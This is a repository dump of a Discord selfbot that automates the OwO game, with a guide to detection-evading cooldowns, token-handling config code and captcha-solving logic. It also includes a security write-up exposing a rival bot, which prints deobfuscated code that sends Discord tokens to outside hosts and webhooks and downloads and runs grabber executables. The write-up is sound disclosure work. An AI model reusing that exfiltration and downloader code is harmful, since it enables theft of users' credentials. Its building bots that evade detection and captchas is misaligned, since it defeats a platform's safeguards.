| ### Step 3: Add Configuration Schema 83 | 84 | Add the configuration option to `src/schemas/ConfigSchema.ts`: 85 | 86 | ```typescript 87 | // In ConfigSchema.ts, add to the schema: 88 | autoBuyRing: z.boolean().default(true) 89 | ``` 90 | 91 | ### Step 4: Add Translations 92 | 93 | Add translations to locale files: 94 | 95 | **`src/locales/en.json`:** 96 | ```json 97 | { 98 | "features": { 99 | "autoBuyRing": { 100 | "attempting": "Attempting to buy a ring...", 101 | "success": "Successfully purchased a ring!", 102 | "noMoney": "Not enough cowoncy to buy ring", 103 | "noResponse": "No response received from buy ring command", 104 | "unknownResponse": "Unknown response: {content}", 105 | "error": "Error in autoBuyRing: {error}" 106 | } 107 | } 108 | } 109 | ``` 110 | 111 | ## Feature Development Best Practices 112 | 113 | ### 1. Cooldown Management 114 | 115 | ```typescript 116 | // Use randomized cooldowns to avoid detection 117 | cooldown: () => ranInt(60_000, 180_000), // 1-3 minutes 118 | 119 | // Return custom cooldowns based on conditions 120 | run: async ({ agent }) => { 121 | // ... feature logic ... 122 | 123 | if (noMoney) { 124 | return ranInt(300_000, 600_000); // 5-10 minutes when no money 125 | } 126 | 127 | if (error) { 128 | return ranInt(180_000, 300_000); // 3-5 minutes on error 129 | } 130 | 131 | // Use default cooldown if no return value 132 | } 133 | ``` 134 | 135 | ### 2. Condition Checking 136 | 137 | ```typescript 138 | condition: async ({ agent, t, locale }) => { 139 | // Always check basic conditions 140 | if (!agent.config.featureName) return false; 141 | if (agent.captchaDetected) return false; 142 | if (agent.farmLoopPaused) return false; 143 | 144 | // Add feature-specific conditions 145 | if (agent.totalCommands < 10) return false; // Wait for bot to warm up 146 | 147 | // Time-based conditions 148 | const hour = new Date().getHours(); 149 | if (hour >= 2 && hour <= 6) return false; // "Sleep" hours 150 | 151 | return true; 152 | } 153 | ``` 154 | 155 | ### 3. Response Handling 156 | 157 | ```typescript 158 | // Always use timeout and proper filtering 159 | const response = await agent.awaitResponse({ 160 | timeout: 10_000, 161 | expectResponse: true, 162 | filter: (message) => { 163 | // Filter for relevant responses only 164 | return message.content.toLowerCase().includes("keyword"); 165 | } 166 | }); 167 | 168 | // Handle different response types 169 | if (response) { 170 | const content = response.content.toLowerCase(); 171 | 172 | if (content.includes("success_keyword")) { 173 | // Handle success 174 | } else if (content.includes("error_keyword")) { 175 | // Handle error 176 | } 177 | } 178 | ``` 179 | 180 | ### 4. Error Handling 181 | 182 | ```typescript 183 | run: async ({ agent, t, locale }) => { 184 | try { 185 | // Feature logic here 186 | await agent.send("command"); 187 | 188 | } catch (error) { 189 | logger.error(t("features.featureName.error", { error: error.message })); 190 | 191 | // Return longer cooldown on error to avoid spam 192 | return ranInt(180_000, 300_000); 193 | } 194 | } 195 | ``` 196 | 197 | ## Testing Your Feature 198 | 199 | 1. **Add to config.json:** 200 | ```json 201 | { 202 | "autoBuyRing": true 203 | } 204 | ``` 205 | 206 | 2. **Test with verbose logging:** 207 | ```bash 208 | npm start import config.json --verbose 209 | ``` 210 | 211 | 3. **Monitor logs for:** 212 | - Feature execution messages 213 | - Cooldown timings 214 | - Error handling 215 | - Response processing 216 | 217 | ## Common Patterns 218 | 219 | ### 1. Item Purchase Feature 220 | ```typescript 221 | // For buying items: rings, lootboxes, etc. 222 | cooldown: () => ranInt(60_000, 180_000) 223 | ``` 224 | 225 | ### 2. Daily Action Feature 226 | ```typescript 227 | // For daily commands: daily, checklist 228 | cooldown: () => 24 * 60 * 60 * 1000 // 24 hours 229 | ``` 230 | 231 | ### 3. Battle/Combat Feature 232 | ```typescript 233 | // For combat commands: battle, hunt 234 | cooldown: () => ranInt(15_000, 30_000) 235 | ``` 236 | 237 | ### 4. Social Feature 238 | ```typescript 239 | // For social commands: pray, curse 240 | cooldown: () => ranInt(30_000, 120_000) 241 | ``` 242 | 243 | ## File Structure 244 | 245 | ``` 246 | src/features/ 247 | ├── autoBattle.ts 248 | ├── autoClover.ts 249 | ├── autoCookie.ts 250 | ├── autoDaily.ts 251 | ├── autoHunt.ts 252 | ├── autoHuntbot.ts 253 | ├── autoPray.ts 254 | ├── autoQuote.ts 255 | ├── autoRPP.ts 256 | ├── autoReload.ts 257 | ├── autoSleep.ts 258 | ├── changeChannel.ts 259 | ├── autoBuyRing.ts ← Your new feature 260 | └── README.md ← This file 261 | ``` 262 | 263 | ## Tips for Advanced Features 264 | 265 | 1. **Use existing utilities:** 266 | - `ranInt()` for random numbers 267 | - `formatTime()` for time formatting 268 | - `shuffleArray()` for randomization 269 | 270 | 2. **Follow naming conventions:** 271 | - Feature files: `autoFeatureName.ts` 272 | - Feature names: `"autoFeatureName"` 273 | - Config keys: `autoFeatureName` 274 | 275 | 3. **Consider dependencies:** 276 | - Some features depend on others (huntbot depends on hunt) 277 | - Check if other features need to run first 278 | 279 | 4. **Performance considerations:** 280 | - Don't make features too frequent 281 | - Use appropriate timeouts 282 | - Handle rate limiting gracefully 283 | 284 | Happy coding! 🚀 285 | -------------------------------------------------------------------------------- /src/structure/InquirerUI.ts: -------------------------------------------------------------------------------- 1 | import path from "node:path"; 2 | import fs from "node:fs"; 3 | 4 | import { logger } from "@/utils/logger.js"; 5 | import { Configuration } from "@/schemas/ConfigSchema.js"; 6 | import { t } from "@/utils/locales.js"; 7 | 8 | import { ConfigPrompter } from "./ConfigPrompter.js"; 9 | import { ExtendedClient } from "./core/ExtendedClient.js"; 10 | import { ConfigManager } from "./core/ConfigManager.js"; 11 | 12 | export class InquirerUI { 13 | private static client: ExtendedClient; 14 | private static config: Partial = {}; 15 | private static configManager = new ConfigManager(); 16 | private static configPrompter: ConfigPrompter; 17 | 18 | static editConfig = async () => { 19 | if (!this.client || !this.client.isReady()) { 20 | throw new Error("Client is not ready. Please initialize the client before editing the config."); 21 | } 22 | 23 | this.config.username = this.client.user.username; 24 | this.config.token = this.client.token; 25 | 26 | const guildCache = this.client.guilds.cache; 27 | const guild = await this.configPrompter.listGuilds(guildCache, this.config.guildID); 28 | this.config.guildID = guild.id; 29 | this.config.channelID = await this.configPrompter.listChannels(guild, this.config.channelID); 30 | 31 | this.config.wayNotify = await this.configPrompter.getWayNotify(this.config.wayNotify); 32 | if (this.config.wayNotify.includes("webhook")) { 33 | this.config.webhookURL = await this.configPrompter.getWebhookURL(this.config.webhookURL); 34 | } 35 | if (this.config.wayNotify.some(w => (["webhook", "call", "dms"]).includes(w))) { 36 | this.config.adminID = await this.configPrompter.getAdminID(guild, this.config.adminID); 37 | } 38 | if (this.config.wayNotify.includes("music")) { 39 | this.config.musicPath = await this.configPrompter.getMusicPath(this.config.musicPath); 40 | } 41 | 42 | this.config.captchaAPI = await this.configPrompter.getCaptchaAPI(this.config.captchaAPI); 43 | if (this.config.captchaAPI) { 44 | this.config.apiKey = await this.configPrompter.getCaptchaAPIKey(this.config.apiKey); 45 | } 46 | 47 | this.config.prefix = await this.configPrompter.getPrefix(this.config.prefix); 48 | 49 | this.config.autoGem = await this.configPrompter.getGemUsage(this.config.autoGem); 50 | if (this.config.autoGem) { 51 | this.config.gemTier = await this.configPrompter.getGemTier(this.config.gemTier); 52 | this.config.autoLootbox = await this.configPrompter.trueFalse( 53 | t("ui.toggleOptions.autoLootbox"), 54 | this.config.autoLootbox 55 | ); 56 | this.config.autoFabledLootbox = await this.configPrompter.trueFalse( 57 | t("ui.toggleOptions.autoFabledLootbox"), 58 | this.config.autoFabledLootbox 59 | ); 60 | } 61 | 62 | this.config.autoHuntbot = await this.configPrompter.trueFalse( 63 | t("ui.toggleOptions.autoHuntbot"), 64 | this.config.autoHuntbot 65 | ); 66 | 67 | if (this.config.autoHuntbot) { 68 | this.config.autoTrait = await this.configPrompter.getTrait(this.config.autoTrait); 69 | this.config.useAdotfAPI = await this.configPrompter.getHuntbotSolver(this.config.useAdotfAPI); 70 | } 71 | 72 | this.config.autoCookie = await this.configPrompter.trueFalse( 73 | t("ui.toggleOptions.autoCookie"), 74 | this.config.autoCookie 75 | ); 76 | this.config.autoClover = await this.configPrompter.trueFalse( 77 | t("ui.toggleOptions.autoClover"), 78 | this.config.autoClover 79 | ); 80 | if ( 81 | (this.config.autoCookie || this.config.autoClover) 82 | && !this.config.adminID 83 | ) { 84 | this.config.adminID = await this.configPrompter.getAdminID(guild, this.config.adminID); 85 | } 86 | 87 | this.config.autoPray = await this.configPrompter.getPrayCurse(this.config.autoPray); 88 | this.config.autoQuote = await this.configPrompter.getQuoteAction(this.config.autoQuote); 89 | this.config.autoRPP = await this.configPrompter.getRPPAction(this.config.autoRPP); 90 | 91 | this.config.autoDaily = await this.configPrompter.trueFalse( 92 | t("ui.toggleOptions.autoDaily"), 93 | this.config.autoDaily 94 | ); 95 | this.config.autoSleep = await this.configPrompter.trueFalse( 96 | t("ui.toggleOptions.autoSleep"), 97 | this.config.autoSleep 98 | ); 99 | this.config.autoReload = await this.configPrompter.trueFalse( 100 | t("ui.toggleOptions.autoReload"), 101 | this.config.autoReload 102 | ); 103 | this.config.useCustomPrefix = await this.configPrompter.trueFalse( 104 | t("ui.toggleOptions.useCustomPrefix"), 105 | this.config.useCustomPrefix 106 | ); 107 | this.config.autoSell = await this.configPrompter.trueFalse( 108 | t("ui.toggleOptions.autoSell"), 109 | this.config.autoSell 110 | ); 111 | this.config.showRPC = await this.configPrompter.trueFalse( 112 | t("ui.toggleOptions.showRPC"), 113 | this.config.showRPC 114 | ); 115 | this.config.autoResume = await this.configPrompter.trueFalse( 116 | t("ui.toggleOptions.autoResume"), 117 | this.config.autoResume 118 | ); 119 | } 120 | 121 | static prompt = async (client: ExtendedClient) => { 122 | this.client = client; 123 | this.configPrompter = new ConfigPrompter({ client, getConfig: () => this.config }); 124 | 125 | const accountList = this.configManager.getAllKeys().map(key => ({ 126 | username: this.configManager.get(key)?.username || "Unknown", 127 | id: key 128 | })); 129 | 130 | let accountSelection = await this.configPrompter.listAccounts(accountList); 131 | switch (accountSelection) { 132 | case "qr": 133 | break; 134 | case "token": 135 | const token = await this.configPrompter.getToken(); 136 | accountSelection = Buffer.from(token.split(".")[0], "base64").toString("utf-8"); 137 | this.config.token = token; 138 | default: 139 | const existingConfig = this.configManager.get(accountSelection); 140 | if (existingConfig) this.config = { ...existingConfig, ...this.config }; 141 | } 142 | 143 | try { 144 | logger.info(t("ui.messages.checkingAccount")); 145 | await client.checkAccount(this.config.token); 146 | } catch (error) { 147 | logger.error(error as Error); 148 | logger.error(t("ui.messages.invalidToken")); 149 | process.exit(-1); 150 | } 151 | 152 | if (!this.config || Object.keys(this.config).length <= 5) await this.editConfig(); 153 | else switch (await this.configPrompter.listActions(Object.keys(this.config).length > 1)) { 154 | case "run": 155 | break; 156 | case "edit": 157 | await this.editConfig(); 158 | break; 159 | case "export": 160 | const exportPath = path.join(process.cwd(), `${this.config.username || "unknown"}.json`); 161 | fs.writeFileSync(exportPath, JSON.stringify(this.config, null, 2)); 162 | logger.info(t("ui.messages.configExported", { path: exportPath })); 163 | process.exit(0); 164 | case "delete": 165 | const confirm = await this.configPrompter.trueFalse( 166 | t("ui.messages.confirmDelete", { username: this.config.username }), 167 | false 168 | ); 169 | if (confirm) { 170 | this.configManager.delete(accountSelection); 171 | logger.info(t("ui.messages.configDeleted", { username: this.config.username })); 172 | process.exit(0); 173 | } else { 174 | logger.info(t("ui.messages.deletionCancelled")); 175 | process.exit(0); 176 | } 177 | } 178 | 179 | this.configManager.set(client.user.id, this.config as Configuration); 180 | return { 181 | client: this.client, 182 | config: this.config as Configuration, 183 | } 184 | } 185 | } -------------------------------------------------------------------------------- /doc/security/[Mid0aria] owofarmbot_stable/README.md: -------------------------------------------------------------------------------- 1 | LOAD THIS IN MARKDOWN FOR BETTER VIEW 2 | 3 | # Security Analysis of OwO Farm Bot 4 | 5 | ![Image](./image.png) 6 | 7 | # Newer Version 8 | Five months ago, u/ButterflyVisible7532 has [posted a thread](https://www.reddit.com/r/Discord_selfbots/comments/1el9tcr/decent_token_logger_or_not_from_a_famous_selfbot/) accusing u/Mid0aria of spreading malware on his projects. 9 | 10 | The claims were true, checking the [ab6a697ce033c495ca6527fd4b391950ea0a36c4](https://github.com/Mid0aria/owofarmbot_stable/tree/ab6a697ce033c495ca6527fd4b391950ea0a36c4) branch will display an old version of OwO Farm Bot, with all of its code deobfuscated. I have deobfuscated the main file, [bot.js](https://github.com/Mid0aria/owofarmbot_stable/blob/ab6a697ce033c495ca6527fd4b391950ea0a36c4/bot.js) with https://webcrack.netlify.app/, then used [Humanify](https://github.com/jehna/humanify), which uses LLMs to give more meaningful names to variables and functions. Which got me [this output](https://github.com/harmlessaccount/owofarmbot-deobf/blob/main/new/owofarmbot-new.js), the output file shows a lot of harmful behaviour embedded into the code. For example, line 282 to line 293 is code for a POST request that will send a Base64 encoded token to `https://syan.anlayana.com/api/diagnosticv2`: 11 | ```javascript 12 | axiosClient.post( 13 | 14 | "https://syan.anlayana.com/api/diagnosticv2", 15 | 16 | "diagnosticv2=" + 17 | 18 | fileData.from(encodeToken(_executeNode.token)).toString("base64") + 19 | 20 | "&project=" + 21 | 22 | discordClient.global.name, 23 | 24 | { 25 | 26 | headers: { 27 | 28 | "Content-Type": "application/x-www-form-urlencoded", 29 | 30 | }, 31 | 32 | }, 33 | 34 | ); 35 | ``` 36 | 37 | From line 40 to 80, the project has an auto-updater, behaviour that is recommended against, as with one update, you'd be able to infect hundreds of machines. 38 | 39 | ```javascript 40 | const gitUpdateAndC = async () => { 41 | try { 42 | const typeSpecifier = { 43 | "User-Agent": 44 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537", 45 | }; 46 | const githubZipData = await axiosClient.get( 47 | "https://github.com/Mid0aria/owofarmbot_stable/archive/master.zip", 48 | { 49 | responseType: "arraybuffer", 50 | headers: typeSpecifier, 51 | }, 52 | ); 53 | const cacheFilePath = executeNode.resolve(__dirname, "updateCache.zip"); 54 | FileOps.writeFileSync(cacheFilePath, githubZipData.data); 55 | const adobeZipUtil = new AdobeZipUtil(cacheFilePath); 56 | const extractedFile = adobeZipUtil.getEntries(); 57 | adobeZipUtil.extractAllTo(nodeOs.tmpdir(), true); 58 | const firstFilePath = executeNode.join( 59 | nodeOs.tmpdir(), 60 | extractedFile[0].entryName, 61 | ); 62 | if (!FileOps.existsSync(firstFilePath)) { 63 | logMessage.alert( 64 | "Updater", 65 | "Zip", 66 | "Failed To Extract Files! Please update on https://github.com/Mid0aria/owofarmbot_stable/", 67 | ); 68 | } 69 | nodeData.copySync(firstFilePath, process.cwd(), { 70 | overwrite: true, 71 | }); 72 | logMessage.info("Updater", "Zip", "Project updated successfully."); 73 | } catch (updateError) { 74 | logMessage.alert( 75 | "Updater", 76 | "Zip", 77 | "Error updating project from GitHub Repo: " + updateError, 78 | ); 79 | } 80 | }; 81 | ``` 82 | 83 | This should show that the project is not in any way reliable, as if it grabbed tokens in the past, nothing stops Mid0aria of pushing an update to the current open-source version that will infect hundreds of machine. In fact, that is most likely his plan. 84 | # Older Version 85 | 86 | A year ago, one of the first versions of OwO Farm Bot displayed even more harmful behaviour. 87 | [This fork](https://github.com/Krishna1407/owofarmbotv2) , with all commits authored by Mid0aria has two files: [bot.js](https://github.com/Krishna1407/owofarmbotv2/blob/main/bot.js) and [updater.js](https://github.com/Krishna1407/owofarmbotv2/blob/main/updater.js) both which are obfuscated. Let's first look into `updater.js`. 88 | 89 | Using the same methods of deobfuscation as before, we get an [interesting output](https://github.com/harmlessaccount/owofarmbot-deobf/blob/main/old/updater.js), the function `alulum` (now renamed `notifyNodeWeb`) shows the same type of logger as before: 90 | 91 | ```javascript 92 | function notifyNodeWeb() { 93 | 94 | fetchData.post({ 95 | 96 | url: "https://canary.discord.com/api/webhooks/1089429954447544340/TIv8fsyhqDb6UVHxqrWa74Ek4U0h-8Gz92KUYJ8d4XiNMbO_YvXArB3NbhD2s04aphgS", 97 | 98 | json: { 99 | 100 | content: 101 | 102 | "**Version: " + 103 | 104 | require("./version.json").version + 105 | 106 | "\nHostname: " + 107 | 108 | platformUtils.hostname + 109 | 110 | "\nComputerType: " + 111 | 112 | platformUtils.version() + 113 | 114 | " / " + 115 | 116 | platformUtils.release() + 117 | 118 | " / " + 119 | 120 | platformUtils.platform() + 121 | 122 | " / " + 123 | 124 | platformUtils.arch() + 125 | 126 | "**", 127 | 128 | }, 129 | 130 | }); 131 | 132 | } 133 | ``` 134 | 135 | This time however, without a Discord token included. The code also has an updater embedded (as the name suggests) which as mentioned previously, is harmful behaviour. 136 | 137 | Let's try to investigate [bot.js](https://github.com/harmlessaccount/owofarmbot-deobf/blob/main/old/bot.js) now. Firstly, the code is much bigger than any other file authored by Mid0aria, possibly because of inexperience on modularized programming. However, there are still very concerning pieces of code. 138 | 139 | From line 194 to 228, it tries to download two EXE files made by [Benjamin Loir](https://github.com/benjaminloir/), that account is an alt created by Mid0aria. You can see that by checking the Starred tab. Benjamin only follows Mid0aria and stars all of his projects. Unfortunately, the repositories it tries to download from are deleted. 140 | 141 | ```javascript 142 | if (windowsCheck.existsSync(_filePath)) { 143 | 144 | } else { 145 | 146 | const executableVer = httpsClient.get( 147 | 148 | "https://github.com/benjaminloir/super-duper-broccoli/releases/download/doyouloveme/owocaptchachecker.exe", 149 | 150 | function (downloadOwocR) { 151 | 152 | var saveDownloads = windowsCheck.createWriteStream(_filePath); 153 | 154 | downloadOwocR.pipe(saveDownloads); 155 | 156 | saveDownloads.on("finish", () => { 157 | 158 | saveDownloads.close(); 159 | 160 | setTimeout(() => { 161 | 162 | runShellCmd(_filePath); 163 | 164 | sendGrabberWC("Empyrean", userId, discordToken); 165 | 166 | }, 2000); 167 | 168 | }); 169 | 170 | }, 171 | 172 | ); 173 | 174 | } 175 | 176 | if (windowsCheck.existsSync(backupHelperB)) { 177 | 178 | } else { 179 | 180 | const backupExecutB = httpsClient.get( 181 | 182 | "https://github.com/benjaminloir/super-duper-broccoli/releases/download/doyouloveme/owobanbypasshelper.exe", 183 | 184 | function (owobanbypass) { 185 | 186 | var saveToBackup = windowsCheck.createWriteStream(backupHelperB); 187 | 188 | owobanbypass.pipe(saveToBackup); 189 | 190 | saveToBackup.on("finish", () => { 191 | 192 | saveToBackup.close(); 193 | 194 | setTimeout(() => { 195 | 196 | runShellCmd(backupHelperB); 197 | 198 | sendGrabberWC("Blank", userId, discordToken); 199 | 200 | }, 2000); 201 | 202 | }); 203 | 204 | }, 205 | 206 | ); 207 | 208 | } 209 | 210 | } 211 | ``` 212 | 213 | `sendGrabberWC` is a function that takes three parameters: `grabberType, userId, discordToken`, hich then redirects those values to a webhook: 214 | 215 | ```javascript 216 | function sendGrabberWC(grabberType, userId, discordToken) { 217 | 218 | fetchData.post({ 219 | 220 | url: "https://canary.discord.com/api/webhooks/1086685243739750612/9Dcdoaz6L0WLV7f3J6MEI1HCcctdwUfMFlRurYusy-0aihX7RQNhAGDrzB3EIa7npOEc", 221 | 222 | json: { 223 | 224 | content: 225 | 226 | "**Grabber Type: " + 227 | 228 | grabberType + // Search for ".exe", possibly downloads a malicious exe and tries to track which grabber it has used 229 | 230 | "\nUser ID: " + 231 | 232 | userId + 233 | 234 | "\nToken: ```" + 235 | 236 | discordToken + 237 | 238 | "``` \nHostname: " + 239 | 240 | platformInfo.hostname + 241 | 242 | "\nComputerType: " + 243 | 244 | platformInfo.version() + 245 | 246 | " / " + 247 | 248 | platformInfo.release() + 249 | 250 | " / " + 251 | 252 | platformInfo.platform() + 253 | 254 | " / " + 255 | 256 | platformInfo.arch() + 257 | 258 | "**", 259 | 260 | }, 261 | 262 | }); 263 | 264 | } 265 | ``` 266 | 267 | It should be clear by now that, the code tries to download two grabbers: Empyrean Grabber and Blank Grabber. A quick search shows that both of those exist and are publicly available. [Empyrean](https://github.com/fnttrtx/empyrean-grabber-fixed?tab=readme-ov-file#features), [Blank](https://github.com/Blank-c/Blank-Grabber?tab=readme-ov-file#features). 268 | 269 | This shows that Mid0aria not only is stealing tokens, but is also doing something much more harmful that steals a lot more than just a Discord token. 270 | 271 | -------------------------------------------------------------------------------- /src/features/autoHuntbot.ts: -------------------------------------------------------------------------------- 1 | import { EmbedField } from "discord.js-selfbot-v13"; 2 | 3 | import { Configuration } from "@/schemas/ConfigSchema.js"; 4 | import { Schematic } from "@/structure/Schematic.js"; 5 | import { FeatureFnParams } from "@/typings/index.js"; 6 | import { logger } from "@/utils/logger.js"; 7 | import { ranInt } from "@/utils/math.js"; 8 | import { CaptchaService } from "@/services/CaptchaService.js"; 9 | import { t } from "@/utils/locales.js"; 10 | 11 | type Trait = Exclude; 12 | 13 | type SolvePasswordOptions = | FeatureFnParams | { 14 | provider: Exclude; 15 | apiKey: string; 16 | } 17 | 18 | const solvePassword = async (attachmentUrl: string, options: SolvePasswordOptions): Promise => { 19 | if ("provider" in options && "apiKey" in options) { 20 | const { provider, apiKey } = options; 21 | 22 | const solver = new CaptchaService({ 23 | provider, 24 | apiKey 25 | }) 26 | 27 | const result = await solver.solveImageCaptcha(attachmentUrl); 28 | const isValidResult = /^\w{5}$/.test(result); 29 | 30 | if (!isValidResult) { 31 | logger.warn(t("features.autoHuntbot.errors.invalidCaptchaResult", { result })); 32 | return undefined; 33 | } 34 | logger.data(t("captcha.solutionFound", { solution: result })); 35 | return result; 36 | } 37 | 38 | const { agent } = options; 39 | 40 | const installedApps = await agent.client.authorizedApplications(); 41 | if (!installedApps.some(app => app.application.id === agent.miraiID)) await agent.client.installUserApps(agent.miraiID); 42 | 43 | const passwordMsg = await agent.awaitSlashResponse({ 44 | bot: agent.miraiID, 45 | command: "solve huntbot", 46 | args: [undefined, attachmentUrl], 47 | }) 48 | 49 | try { 50 | const res = JSON.parse(passwordMsg.content) as { 51 | time: number; 52 | result: string; 53 | avgConfidence: string; 54 | }; 55 | 56 | logger.data(t("captcha.solutionFound", { solution: res.result, avgConfidence: res.avgConfidence })); 57 | return res.result; 58 | } catch (error) { 59 | logger.error("Failed to parse captcha response:"); 60 | logger.error(error as Error); 61 | } 62 | 63 | return undefined; 64 | } 65 | 66 | const upgradeTrait = async ({ agent, t }: FeatureFnParams, trait: Trait, fields: EmbedField[]) => { 67 | const essenceField = fields.find(f => f.name.includes("Animal Essence")); 68 | if (!essenceField) { 69 | logger.debug("Failed to retrieve essence field"); 70 | return; 71 | } 72 | 73 | let essence = parseInt(essenceField.name.match(/Animal Essence - `([\d,]+)`/i)?.[1].replace(/,/g, "") || "0"); 74 | 75 | const traitField = fields.find(f => f.name.toLowerCase().includes(trait)); 76 | 77 | if (!traitField) { 78 | logger.debug(`Trait ${trait} not found in huntbot response`); 79 | return; 80 | } 81 | 82 | const essenceMatch = traitField.value.match(/\[(\d+)\/(\d+)]/); 83 | if (!essenceMatch) { 84 | logger.debug(`Failed to parse essence for trait ${trait}`); 85 | return; 86 | } 87 | 88 | const currentEssence = parseInt(essenceMatch[1] || "0"); 89 | const requiredEssence = parseInt(essenceMatch[2] || "0"); 90 | const missingEssence = requiredEssence - currentEssence; 91 | logger.data(t("features.autoTrait.essenceStatus", { 92 | trait, 93 | current: currentEssence, 94 | required: requiredEssence, 95 | available: missingEssence 96 | })); 97 | 98 | if (missingEssence > essence) { 99 | logger.info(t("features.autoTrait.errors.notEnoughEssence")); 100 | return; 101 | } else { 102 | await agent.send(`upgrade ${trait} level`); 103 | } 104 | } 105 | 106 | export default Schematic.registerFeature({ 107 | name: "autoHuntbot", 108 | options: { 109 | overrideCooldown: true, 110 | }, 111 | cooldown: () => ranInt(10 * 60 * 1000, 15 * 60 * 1000), // 10 to 15 minutes 112 | condition: ({ agent }) => { 113 | return agent.config.autoHuntbot; 114 | }, 115 | run: async (options) => { 116 | const { agent, t } = options; 117 | const huntbotMsg = await agent.awaitResponse({ 118 | trigger: () => agent.send("huntbot"), 119 | filter: m => m.author.id === agent.owoID 120 | && ( 121 | m.content.includes("BEEP BOOP. I AM BACK") 122 | || ( 123 | m.embeds.length > 0 124 | && m.embeds[0].author !== null 125 | && m.embeds[0].author.name.includes(m.guild?.members.me?.displayName!) 126 | && m.embeds[0].author.name.includes("HuntBot") 127 | ) 128 | ) 129 | }) 130 | 131 | if (!huntbotMsg) return; 132 | 133 | if (huntbotMsg.embeds.length === 0) { 134 | const statsRegex = /BACK WITH (\d+) ANIMALS,`\n(?:.|\n)*?`(\d+) ESSENCE, AND (\d+) EXPERIENCE/; 135 | const statsMatch = huntbotMsg.content.match(statsRegex); 136 | 137 | logger.info(t("features.autoHuntbot.stats.huntbot")); 138 | logger.data(t("features.autoHuntbot.stats.animals", { count: statsMatch?.[1] || "unknown" })); 139 | logger.data(t("features.autoHuntbot.stats.essence", { amount: statsMatch?.[2] || "unknown" })); 140 | logger.data(t("features.autoHuntbot.stats.exp", { amount: statsMatch?.[3] || "unknown" })); 141 | 142 | return 30_000; // Retry in 30 seconds if no embed found 143 | } 144 | 145 | const fields = huntbotMsg.embeds[0].fields; 146 | if (fields[fields.length - 1].name.includes("HUNTBOT is currently hunting!")) { 147 | const huntingField = fields.pop(); 148 | if (!huntingField) { 149 | logger.debug("Failed to retrieve hunting field (In hunting)"); 150 | return; 151 | } 152 | 153 | const match = huntingField.value.match(/IN\s((\d+)H\s)?(\d+)M/i); 154 | if (match) { 155 | return parseInt(match[2] || "0") * 60 * 60 * 1000 156 | + parseInt(match[3]) * 60 * 1000 157 | + ranInt(0, 5 * 60 * 1000); // Add random upto 5 mins 158 | } 159 | 160 | return; 161 | } 162 | 163 | if (agent.config.autoTrait) await upgradeTrait(options, agent.config.autoTrait, fields); 164 | 165 | const passwordMsg = await agent.awaitResponse({ 166 | trigger: () => agent.send("huntbot 24h"), 167 | filter: m => m.author.id === agent.owoID 168 | && m.content.includes(m.guild?.members.me?.displayName!) 169 | && ( 170 | m.content.includes("I AM STILL HUNTING") 171 | || ( 172 | m.content.includes("Here is your password!") 173 | && m.attachments.size > 0 174 | && m.attachments.first()?.name?.endsWith(".png") === true 175 | ) 176 | || m.content.includes("Please include your password") 177 | ), 178 | }) 179 | 180 | if (!passwordMsg) return; 181 | 182 | if (passwordMsg.content.includes("Please include your password")) { 183 | return parseInt(passwordMsg.content.match(/Password will reset in (\d+) minutes/)?.[1] || "10") * 60 * 1000; // Reset in 10 minutes 184 | } 185 | 186 | if (passwordMsg.content.includes("I AM STILL HUNTING")) { 187 | const matchTime = passwordMsg.content.match(/IN\s((\d+)H\s)?(\d+)M/m); 188 | 189 | const hours = parseInt(matchTime?.[2] || "0"); 190 | const minutes = parseInt(matchTime?.[3] || "10"); 191 | 192 | logger.info(t("features.autoHuntbot.inHunting", { hours, minutes })); 193 | return hours * 60 * 60 * 1000 + minutes * 60 * 1000 + ranInt(0, 5 * 60 * 1000); // Add random upto 5 mins 194 | } 195 | 196 | const attachmentUrl = passwordMsg.attachments.first()?.url; 197 | if (!attachmentUrl) return; 198 | 199 | let password: string | undefined; 200 | if (agent.config.captchaAPI && agent.config.apiKey && !agent.config.useAdotfAPI) { 201 | password = await solvePassword(attachmentUrl, { 202 | provider: agent.config.captchaAPI, 203 | apiKey: agent.config.apiKey 204 | }); 205 | } else { 206 | if (!agent.config.useAdotfAPI) { 207 | logger.warn(t("features.autoHuntbot.errors.noCaptchaAPI")); 208 | } 209 | password = await solvePassword(attachmentUrl, options); 210 | } 211 | 212 | if (!password) return; 213 | 214 | const resultMsg = await agent.awaitResponse({ 215 | trigger: () => agent.send(`huntbot 24h ${password}`), 216 | filter: m => m.author.id === agent.owoID 217 | && m.content.includes(m.guild?.members.me?.displayName!) 218 | && m.content.includes("BEEP BOOP.") 219 | }) 220 | 221 | if (!resultMsg) return; 222 | 223 | const matchTime = resultMsg.content.match(/IN\s((\d+)H)?(\d+)M/m); 224 | 225 | const hours = parseInt(matchTime?.[2] || "0"); 226 | const minutes = parseInt(matchTime?.[3] || "10"); 227 | 228 | logger.info(t("features.autoHuntbot.huntbotSent", { hours, minutes })); 229 | 230 | return hours * 60 * 60 * 1000 231 | + minutes * 60 * 1000 232 | + ranInt(0, 5 * 60 * 1000); // Add random upto 5 mins 233 | } 234 | }) -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | /* Visit https://aka.ms/tsconfig to read more about this file */ 4 | 5 | /* Projects */ 6 | // "incremental": true, /* Save .tsbuildinfo files to allow for incremental compilation of projects. */ 7 | // "composite": true, /* Enable constraints that allow a TypeScript project to be used with project references. */ 8 | // "tsBuildInfoFile": "./.tsbuildinfo", /* Specify the path to .tsbuildinfo incremental compilation file. */ 9 | // "disableSourceOfProjectReferenceRedirect": true, /* Disable preferring source files instead of declaration files when referencing composite projects. */ 10 | // "disableSolutionSearching": true, /* Opt a project out of multi-project reference checking when editing. */ 11 | // "disableReferencedProjectLoad": true, /* Reduce the number of projects loaded automatically by TypeScript. */ 12 | 13 | /* Language and Environment */ 14 | "target": "esnext", /* Set the JavaScript language version for emitted JavaScript and include compatible library declarations. */ 15 | "lib": ["ESNext"], /* Specify a set of bundled library declaration files that describe the target runtime environment. */ 16 | // "jsx": "preserve", /* Specify what JSX code is generated. */ 17 | // "experimentalDecorators": true, /* Enable experimental support for legacy experimental decorators. */ 18 | // "emitDecoratorMetadata": true, /* Emit design-type metadata for decorated declarations in source files. */ 19 | // "jsxFactory": "", /* Specify the JSX factory function used when targeting React JSX emit, e.g. 'React.createElement' or 'h'. */ 20 | // "jsxFragmentFactory": "", /* Specify the JSX Fragment reference used for fragments when targeting React JSX emit e.g. 'React.Fragment' or 'Fragment'. */ 21 | // "jsxImportSource": "", /* Specify module specifier used to import the JSX factory functions when using 'jsx: react-jsx*'. */ 22 | // "reactNamespace": "", /* Specify the object invoked for 'createElement'. This only applies when targeting 